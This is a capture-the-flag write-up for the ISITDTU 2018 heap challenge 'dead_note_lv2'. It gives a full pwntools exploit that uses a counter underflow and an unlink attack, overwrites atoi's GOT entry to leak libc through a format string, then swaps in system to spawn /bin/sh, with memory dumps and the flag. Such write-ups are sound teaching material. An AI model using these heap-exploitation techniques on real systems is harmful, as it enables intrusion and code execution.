ISITDTU CTF 2018 Quals - dead_note_lv2
7 Solves
nc 206.189.46.173 50200
Link Binary: https://bit.ly/2K4D3qE
Attachment: dead_note_lv2 libc.so.6 xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
***************************************
* *
* 1 - Add *
* 2 - Edit *
* 3 - Del *
* 4 - Exit *
* *
***************************************
Your choice:
Though it’s the second level, the approach now is completely different.
Binary sections aren’t marked rwx
anymore, but this time we’re allowed to create and edit bigger chunks. This looks way more like your proper heap challenge.
So, let’s check the differences in the code:
void add_note()
{
for ( int i = 0; i <= 10; ++i ) {
if ( !NOTE_TABLE[i] ) {
char *chunk = malloc(0x88);
printf("Content: ");
read_string(chunk, 0x88);
NOTE_TABLE[i] = chunk;
++NOTE_COUNT;
puts("Done~");
return;
}
}
}
Nothing special here, add_note
will check, if there’s a free entry in the NOTE_TABLE
(max 11 entries), allocate a chunk and put it there, also increasing NOTE_COUNT
.
int delete_note()
{
printf("Index: ");
unsigned int idx = read_number();
if ( idx > 10 )
return puts("Out of bound~");
free(NOTE_TABLE[idx]);
NOTE_TABLE[idx] = 0LL;
return NOTE_COUNT-- - 1;
}
delete_note
will this time do a proper boundary check, but it fails to check, if we specified an existing note. Thus, if we give it an index of an unitialized note, it will call free(0)
, which will just do nothing, but decreases NOTE_COUNT
afterwards, which enables us to decrease NOTE_COUNT
by an arbitrary value, by just calling delete_note
on a freed note multiple times. Might remember this for later ;)
int edit_note()
{
printf("Index: ");
unsigned int idx = read_number();
if ( idx > 10 )
return puts("Out of bound~");
if ( !NOTE_TABLE[idx] )
return puts("None NOTE~");
printf("Content: ");
return read_string((char *)NOTE_TABLE[idx], 0x88);
}
No real bugs here, edit_note
checks the index and also if we specified a note that actually contains content.
So, how to go on with this? Well, for this, we should take a closer look at the memory handling for the NOTE_TABLE
and NOTE_COUNT
.
After adding some notes, it will fill up NOTE_TABLE
with the addresses of our note chunks and increase NOTE_COUNT
0x6020e0: 0x0000000000603010 0x00000000006030a0 <= Note 0 / Note 1
0x6020f0: 0x0000000000000000 0x0000000000000000 <= Note 2 / Note 3
0x602100: 0x0000000000000000 0x0000000000000000 <= Note 4 / Note 5
0x602110: 0x0000000000000000 0x0000000000000000 <= Note 6 / Note 7
0x602120: 0x0000000000000000 0x0000000000000000 <= Note 8 / Note 9
0x602130: 0x0000000000000002 0x0000000000000000 <= NOTE_COUNT (Note 10)
0x602140: 0x0000000000000000 0x0000000000000000
Uhm, the binary allows us to allocate and edit 10 notes, but the address for the 10th chunk is also the NOTE_COUNT
itself. We should surely be able to do some mischief with that :)
Remember, that we are able to decrease NOTE_COUNT
by arbitrary values by freeing an empty chunk, so we can use that to manipulate the address of the 10th chunk.
Let’s set up some chunks to start with:
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "206.189.46.173"
PORT = 50200
def add(content):
r.sendline("1")
r.sendafter("Content: ", content)
r.recvuntil("choice: ")
def edit(idx, content):
r.sendline("2")
r.sendlineafter("Index: ", str(idx))
r.sendlineafter("Content: ", content)
r.recvuntil("choice: ")
def delete(idx):
r.sendline("3")
r.sendlineafter("Index: ", str(idx))
r.recvuntil("choice: ")
def exploit(r):
r.recvuntil("choice: ")
log.info("Create initial notes")
add("A"*8) # 0
add("A"*8) # 1
add("A"*8) # 2
add("A"*8) # 3
add("A"*8) # 4
add("A"*8) # 5
add("A"*8) # 6
add("A"*8) # 7
add("A"*8) # 8
add("A"*8) # 9
r.interactive()
return
if __name__ == "__main__":
e = ELF("./dead_note_lv2")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = True
r = process("./dead_note_lv2", env={"LD_PRELOAD" : "./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
The NOTE_TABLE
will now look like this
0x6020e0: 0x0000000000603010 0x00000000006030a0 <= Note 0 / 1
0x6020f0: 0x0000000000603130 0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250 0x00000000006032e0 <= Note 4 / 5
0x602110: 0x0000000000603370 0x0000000000603400 <= Note 6 / 7
0x602120: 0x0000000000603490 0x0000000000603520 <= Note 8 / 9
0x602130: 0x000000000000000a 0x0000000000000000 <= NOTE_COUNT (Note 10)
Since the address at 0x602130
is != 0x0
, add_note
won’t allow us to create another note and complains with FULL~~
.
Well, we can change this with abusing delete_note
log.info("Call delete to get note counter to -1")
for i in range(11):
delete(1)
This will decrease NOTE_COUNT
until it’s -1
. We need to be able to create another chunk, which will be stored in Note 1
before being able to create another chunk in Note 10
, which will increase NOTE_COUNT
by 1, resulting in a 0x0
in 0x602130
.
0x6020e0: 0x0000000000603010 0x0000000000000000
0x6020f0: 0x0000000000603130 0x00000000006031c0
0x602100: 0x0000000000603250 0x00000000006032e0
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000603490 0x0000000000603520
0x602130: 0x00000000ffffffff 0x0000000000000000
Now we create two new chunks
log.info("Create chunk to fill 1")
add("B"*8)
log.info("Create chunk in NOTE_COUNT")
add("C"*8)
0x6020e0: 0x0000000000603010 0x00000000006030a0
0x6020f0: 0x0000000000603130 0x00000000006031c0
0x602100: 0x0000000000603250 0x00000000006032e0
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000603490 0x0000000000603520
0x602130: 0x0000000000000000 0x0000000000000000
...
0x6020e0: 0x0000000000603010 0x00000000006030a0
0x6020f0: 0x0000000000603130 0x00000000006031c0
0x602100: 0x0000000000603250 0x00000000006032e0
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000603490 0x0000000000603520
0x602130: 0x00000000006035b1 0x0000000000000000 <= NOTE_COUNT (Note 10)
We now have a note in the NOTE_COUNT address (see, how the address also got increased by 1 after adding it…).
And like before, we’re able to move the address around in the heap by multiple calls to delete_note
and since it’s a valid note, we can use edit_note
, giving us an arbitrary write on the heap.
Though, there’s nothing of interest inside the heap, we would like to have a note pointer pointing somewhere useful, like the bss
…
Since no PIE
is enabled, we know the address of NOTETABLE
, which conveniently contains pointers to our chunks, so we can do an unlink
attack to write the address of NOTETABLE
into itself.
Though, some preparations for this needs to be taken.
- Create a fake chunk on the heap containing
FD
/BK
pointers toNOTETABLE
(which needs to point back to our fake chunk to get around the libc checks) - Overwrite
prev_size
andsize
of a followup chunk, so that upon freeing the followup,free
will think the previous chunk is also freeprev_size
should be forged, so that it points to our fake chunk
- Free the manipulated chunk, which will then unlink our fake chunk
- With the overwritten note entry, we can now modify the
NOTETABLE
itself resulting in an arbitrary write
For this, we’ll change the note initialization a bit
add("A"*8) # 0
add("A"*8) # 1
add("A"*8) # 2
add("A"*8) # 3
add("A"*8) # 4
add("A"*8) # 5
add("A"*8) # 6
add("A"*8) # 7
log.info("Prepare fake chunk for unlink")
payload = p64(0x0) + p64(0x121)
payload += p64(0x602120-0x18) + p64(0x602120-0x10)
payload += "A"*(0x70-len(payload))
add(payload) # 8
add("A"*8) # 9
log.info("Call delete to get note counter to -1")
for i in range(11):
delete(1)
log.info("Create chunk to fill 1")
add("B"*8) #1
log.info("Create chunk in NOTE_COUNT")
add(p64(0x120)) # 10 (containing prev_size pointing to fake chunk)
We prepare our fake chunk in chunk 8 (size 0x120
) with FD
/BK
pointing to the NOTETABLE
entry for chunk 8 (which happens to point to the data portion of note 8, which is our fake chunk).
In our final NOTE_COUNT
chunk we store a valid prev_size
, which points to the fake chunk, we created in chunk 8.
NOTE_TABLE
0x6020e0: 0x0000000000603010 0x00000000006030a0
0x6020f0: 0x0000000000603130 0x00000000006031c0
0x602100: 0x0000000000603250 0x00000000006032e0
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000603490 0x0000000000603520 <= Note 8
0x602130: 0x00000000006035b1 0x0000000000000000 <= NOTE_COUNT (Note 10)
HEAP
0x603480: 0x0000000000000000 0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000 0x0000000000000121 <= Fake chunk (size 0x120)
0x6034a0: 0x0000000000602108 0x0000000000602110 <= Fake FD/BK
0x6034b0: 0x4141414141414141 0x4141414141414141
0x6034c0: 0x4141414141414141 0x4141414141414141
0x6034d0: 0x4141414141414141 0x4141414141414141
0x6034e0: 0x4141414141414141 0x4141414141414141
0x6034f0: 0x4141414141414141 0x4141414141414141
0x603500: 0x0000000000000000 0x0000000000000000
0x603510: 0x0000000000000000 0x0000000000000091 <= Note 9
0x603520: 0x4141414141414141 0x0000000000000000
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000 0x0000000000000000
0x603550: 0x0000000000000000 0x0000000000000000
0x603560: 0x0000000000000000 0x0000000000000000
0x603570: 0x0000000000000000 0x0000000000000000
0x603580: 0x0000000000000000 0x0000000000000000
0x603590: 0x0000000000000000 0x0000000000000000
0x6035a0: 0x0000000000000000 0x0000000000000091 <= Note 10
0x6035b0: 0x0000000000000120 0x0000000000000000 <= prev_size for Fake_chunk
We still need to overwrite prev_size
for Note 9
and toggle the prev_inuse
bit of Note 9
, so free
will think that the previous chunk is also freed.
Now is the time, for NOTE_COUNT
to shine :). We’ll be freeing so many notes, decreasing NOTE_COUNT
(and the address of Note 10
) until Note 10
points to 0x603510
.
log.info("Move NOTE_COUNT to prev_size of chunk 9")
for i in range(0xa1):
delete(1)
0x6020e0: 0x0000000000603010 0x0000000000000000
0x6020f0: 0x0000000000603130 0x00000000006031c0
0x602100: 0x0000000000603250 0x00000000006032e0
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000603490 0x0000000000603520
0x602130: 0x0000000000603510 0x0000000000000000 <= Note 10
Now we can overwrite prev_size
and size
of Note 9
via Note 10
and trigger unlink
by deleting Note 9
log.info("Overwrite prev_size and size")
edit(10, p64(0x80) + p64(0x90))
log.info("Trigger unlink by freeing chunk 9 (chunk 8 points to bss now (=>chunk 5))")
delete(9)
After the edit, the heap will look like this
0x603480: 0x0000000000000000 0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000 0x0000000000000121 <= Fake chunk
0x6034a0: 0x0000000000602108 0x0000000000602110 <= Fake FD/BK
0x6034b0: 0x4141414141414141 0x4141414141414141
0x6034c0: 0x4141414141414141 0x4141414141414141
0x6034d0: 0x4141414141414141 0x4141414141414141
0x6034e0: 0x4141414141414141 0x4141414141414141
0x6034f0: 0x4141414141414141 0x4141414141414141
0x603500: 0x0000000000000000 0x0000000000000000
0x603510: 0x0000000000000080 0x0000000000000090 <= Note 8 prev_size / Note 9
0x603520: 0x4141414141414100 0x0000000000000000
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000 0x0000000000000000
0x603550: 0x0000000000000000 0x0000000000000000
0x603560: 0x0000000000000000 0x0000000000000000
0x603570: 0x0000000000000000 0x0000000000000000
0x603580: 0x0000000000000000 0x0000000000000000
0x603590: 0x0000000000000000 0x0000000000000000
0x6035a0: 0x0000000000000000 0x0000000000000091
0x6035b0: 0x0000000000000120 0x0000000000000000 <= Fake chunk prev_size
We now have everything prepared for unlink
doing its magic :)
Deleting Note 9 will now letting free
think the previous chunk is also free (0x603510
- 0x80
=> 0x603490
(Fake chunk)) and unlink it.
0x603480: 0x0000000000000000 0x0000000000000091 <= Note 8
0x603490: 0x0000000000000000 0x0000000000000111 \ Fake chunk
0x6034a0: 0x0000000000603090 0x00007ffff7dd1b78 |
0x6034b0: 0x4141414141414141 0x4141414141414141 |
0x6034c0: 0x4141414141414141 0x4141414141414141 |
0x6034d0: 0x4141414141414141 0x4141414141414141 |
0x6034e0: 0x4141414141414141 0x4141414141414141 |
0x6034f0: 0x4141414141414141 0x4141414141414141 |
0x603500: 0x0000000000000000 0x0000000000000000 |
0x603510: 0x0000000000000080 0x0000000000000090 | Note 9 (freed)
0x603520: 0x4141414141414100 0x0000000000000000 |
0x603530: 0x0000000000000000 0x0000000000000000 |
0x603540: 0x0000000000000000 0x0000000000000000 |
0x603550: 0x0000000000000000 0x0000000000000000 |
0x603560: 0x0000000000000000 0x0000000000000000 |
0x603570: 0x0000000000000000 0x0000000000000000 |
0x603580: 0x0000000000000000 0x0000000000000000 |
0x603590: 0x0000000000000000 0x0000000000000000 |
0x6035a0: 0x0000000000000110 0x0000000000000090 /
0x6035b0: 0x0000000000000120 0x0000000000000000
NOTE_TABLE
0x6020e0: 0x0000000000603010 0x0000000000000000 <= Note 0 / 1
0x6020f0: 0x0000000000603130 0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250 0x00000000006032e0 <= Note 4 / 5
0x602110: 0x0000000000603370 0x0000000000603400 <= Note 6 / 7
0x602120: 0x0000000000602108 0x0000000000000000 <= Note 8 / 9
0x602130: 0x000000000060350f 0x0000000000000000 <= Note 10
EDIT (Adding a little bit more explanation on the unlink portion)
When note 9 gets freed, free
will think the previous chunk is also free, since we set the prev_inuse
bit to 0x0
. So it will try to consolidate backwards and unlink the previous chunk from its binlist. free
does this with the unlink
macro
FD->bk = BK;
BK->FD = FD;
So, let’s check the state of FD/BK before unlink is triggered:
gdb-peda$ x/30gx 0x603490
0x603490: 0x0000000000000000 0x0000000000000121 <= Note 8
0x6034a0: 0x0000000000602108 0x0000000000602110 <= FD / BK
0x6034b0: 0x4141414141414141 0x4141414141414141
unlink
will now execute FD->bk = BK
with FD = 0x602108
gdb-peda$ x/10gx 0x602108
0x602108: 0x00000000006032e0 0x0000000000603370
0x602118: 0x0000000000603400 0x0000000000603490 <= FD / BK (Note 8 pointer)
It interprets 0x602108
as a chunk, and thus overwrites its BK
(0x602120) with the BK
from our fake chunk (0x602110
), so it would look like this
gdb-peda$ x/10gx 0x602108
0x602108: 0x00000000006032e0 0x0000000000603370
0x602118: 0x0000000000603400 0x0000000000602110 <= FD / BK (Note 8 pointer)
Now, unlink
will execute BK->fd = FD
with BK = 0x602110
(from our fake chunk in the heap).
gdb-peda$ x/10gx 0x602110
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000602110 0x0000000000603520 <= FD (Note 8 pointer) / BK
So, now unlink
wants to set the FD
value for this chunk, which also happens to be 0x602120
, thus overwriting it with the FD
value from our fake chunk (0x602108
), resulting in
gdb-peda$ x/10gx 0x602110
0x602110: 0x0000000000603370 0x0000000000603400
0x602120: 0x0000000000602108 0x0000000000000000 <= FD (Note 8 pointer) / BK
/EDIT
Note 8
now contains 0x602108
pointing back in our NOTETABLE
, so we can now use Note 8
to write arbitrary addresses into the NOTETABLE
and then edit those addresses to overwrite arbitrary addresses.
With this, it’s only a matter of overwriting got
entries, leaking libc and call system("/bin/sh")
, so let’s wrap this up
log.info("Overwrite atoi with printf")
edit(8, p64(e.got["atoi"]))
edit(5, p64(e.plt["printf"]+6))
0x602000: 0x0000000000601e28 0x00007ffff7ffe168
0x602010: 0x00007ffff7dee870 0x00007ffff7a914f0
0x602020: 0x00007ffff7a7c690 0x0000000000400736
0x602030: 0x00007ffff7a836b0 0x00007ffff7a62800
0x602040: 0x00007ffff7ad9200 0x00007ffff7b04250
0x602050: 0x00007ffff7a2d740 0x00007ffff7a423c0
0x602060: 0x00007ffff7a91130 0x0000000000400756 <= . / atoi (now printf plt)
0x602070: 0x0000000000400700 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0 <stdout>: 0x00007ffff7dd2620 0x0000000000000000
0x6020b0 <stdin>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020c0 <stderr>: 0x00007ffff7dd2540 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000603010 0x0000000000000000 <= Note 0 / 1
0x6020f0: 0x0000000000603130 0x00000000006031c0 <= Note 2 / 3
0x602100: 0x0000000000603250 0x0000000000602068 <= Note 4 / 5 (points to atoi got)
0x602110: 0x0000000000603300 0x0000000000603400
0x602120: 0x0000000000602108 0x0000000000000000
0x602130: 0x000000000060350f 0x0000000000000000
atoi
is now printf
, so any input in the menu will be executed by printf
instead, so we can send some format strings as input to leak libc
.
log.info("Leak LIBC")
r.sendline("%3$p")
leak = int(r.recv(14), 16)
libc.address = leak - 0xf7260
log.info("LIBC leak : %s" % hex(leak))
log.info("LIBC : %s" % hex(libc.address))
r.recvuntil("Your choice: ")
Knowing libc
, we can now overwrite atoi
again, but this time with system
.
We just have to consider that for selecting a menu, atoi
is no longer called, but printf
(which returns the count of printed characters). So for selecting edit_note
we have to send for example ..
instead of 2
.
log.info("Overwrite atoi with system")
r.sendline("..") # edit
r.sendlineafter(": ", ".....") # index 5
r.sendlineafter("Content: ", p64(libc.symbols["system"]))
log.info("Select '/bin/sh' to trigger shell")
r.sendlineafter("Your choice: ", "/bin/sh\x00")
r.interactive()
Same game, having atoi
now replaced with system
, we just have to send another /bin/sh
to trigger system("/bin/sh")
[*] '/vagrant/Challenges/isit/pwn/deadnote2/dead_note_lv2/dead_note_lv2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/isit/pwn/deadnote2/dead_note_lv2/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.46.173 on port 50200: Done
[*] Create initial notes
[*] Prepare fake chunk for unlink
[*] Call delete to get note counter to -1
[*] Create chunk to fill 1
[*] Create chunk in NOTE_COUNT
[*] Move NOTE_COUNT to prev_size of chunk 9
[*] Overwrite prev_size and size
[*] Paused (press any to continue)
[*] Trigger unlink by freeing chunk 9 (chunk 8 points to bss now (=>chunk 5))
[*] Overwrite atoi with printf
[*] Leak LIBC
[*] LIBC leak : 0x7fb6eedae260
[*] LIBC : 0x7fb6eecb7000
[*] Overwrite atoi with system
[*] Select '/bin/sh' to trigger shell
[*] Switching to interactive mode
$ cd /home/dead_note_lv2
$ cat flag
ISITDTU{838a545cbc2a33bd26f95ed1c708a1ab}